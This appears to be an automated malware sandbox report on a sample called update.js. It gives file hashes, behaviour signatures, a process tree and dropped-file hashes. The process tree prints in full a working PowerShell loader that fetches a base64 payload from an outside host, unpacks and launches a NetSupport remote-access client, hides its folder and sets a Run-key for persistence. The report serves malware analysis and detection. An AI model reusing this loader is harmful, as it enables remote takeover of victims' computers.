Analysis
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max time kernel
606s -
max time network
1754s -
platform
windows11-21h2_x64 -
resource
win11-20231215-en -
resource tags
arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system -
submitted
05-02-2024 20:21
Static task
static1
Behavioral task
behavioral1
Sample
update.js
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
update.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
update.js
Resource
win11-20231215-en
General
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Target
update.js
-
Size
350KB
-
MD5
1cc37e540105a888cbe50d8d81b09e27
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SHA1
0e2701afb1ba6050508dd7a4ecfc6fe3266ca9e2
-
SHA256
d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
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SHA512
2ed4db91e1e59c17966de8cbe12dd6b830e9f6756d7e98a8d525597252db393e843fdba82e17e0403b77416393ac3059a58f3d954985ab56e23b156ae4b981b1
-
SSDEEP
6144:QY/j8teY/j8teY/j8tMY/j8t8Y/j8teY/j8teY/j8tWY/j8teY/j8teY/j8tQ:QYwteYwteYwtMYwt8YwteYwteYwtWYwW
Malware Config
Extracted
https://ghostcitygames.com/data.php?6937
https://ghostcitygames.com/data.php?6937
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 3784 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 4424 client32.exe -
Loads dropped DLL 5 IoCs
Processes:
client32.exepid process 4424 client32.exe 4424 client32.exe 4424 client32.exe 4424 client32.exe 4424 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-414\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3784 powershell.exe 3784 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 3784 powershell.exe Token: SeSecurityPrivilege 4424 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 4424 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 824 wrote to memory of 3784 824 wscript.exe powershell.exe PID 824 wrote to memory of 3784 824 wscript.exe powershell.exe PID 3784 wrote to memory of 4424 3784 powershell.exe client32.exe PID 3784 wrote to memory of 4424 3784 powershell.exe client32.exe PID 3784 wrote to memory of 4424 3784 powershell.exe client32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\update.js1⤵
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4424
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
180KB
MD5edbb1829892bfbd9c768eeaddfcb2bcb
SHA1de8e0fd70ea6cc4e4c7c2e3d5d83a5c0e04f28e0
SHA2565a82eb5f63412f73bde8c29b5ba039ff488b2a15882abefa2c0d48a81ca2ea5e
SHA51256928c07e38f0722dc42cba6108a6936a70d919bb0b6547e17e38c92ed073cd9927557088b9f125b2cdd1eecc555227f3cf9d4d278f0aec4bd1d3ac4900d5ea9
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
282KB
MD54b06e1117da0d7a8d4d5f4511d3ab843
SHA1c4baa29f6912243e75f10de676d34658f95fc002
SHA2565e4d3ff0e6d588a788f8ec0415c2a8e654c77d5e01b96f0110e5229d9f348617
SHA512e71fcec7266613f16cf4c4c6b55901acddc926e30dde0b7273c573fdfa81c6e75dd74af365e7acee343fcad01ae994b65a8886e2c197713c63b4e73f3e3a01ac
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
287KB
MD5740c9f575ba186128f6cfe97e4cafcf5
SHA1fc391e6df6da78d031c08ef746ae08ff7e9e197f
SHA2560bd2f372ba1413dd7a88d65ed7c11921eb0abd48364757ef6891625e9066ced6
SHA512cafac27c599b8cf2fc3a290969a38d31fe4560b634c58d058ada03b7a1a9ee0c0013cf9aa393d7732eb98defcdc970247f5cecb79b91115de032539856be1421
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Filesize
483KB
MD597a09fb8d4d01659639ca6248075abf5
SHA12eb7edb052ac8776edfe422f4d58e6ca29b246aa
SHA256174c6fd0d92ea474c5de73135ccede46420da09e28ff0bfeeaa1b8e3d983eea7
SHA512e80df0dce370c009bb71d38204d558acc0c4c99463bf14ddd72afe1fa0df69724bcc1219516cf70fa757a1ad5d5e08fc6fade6ad7c6503da54a2af9703c44045
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
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Filesize
316KB
MD5a72532314c76a7499dc195237904e008
SHA1a79922172ac532128eeef537d13c069225555352
SHA2567accb3d1ab09438ff282f58acc30d543661876435ec6a6855e7f8a817b5beed6
SHA5126d3ca1100542475330033bd8620aa1348b197b68adbe8fa80e773827af9faac1b62cfda6d8ea76e250ff633353b85ac3436a7085cdfcff58c842f451b9658be5
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2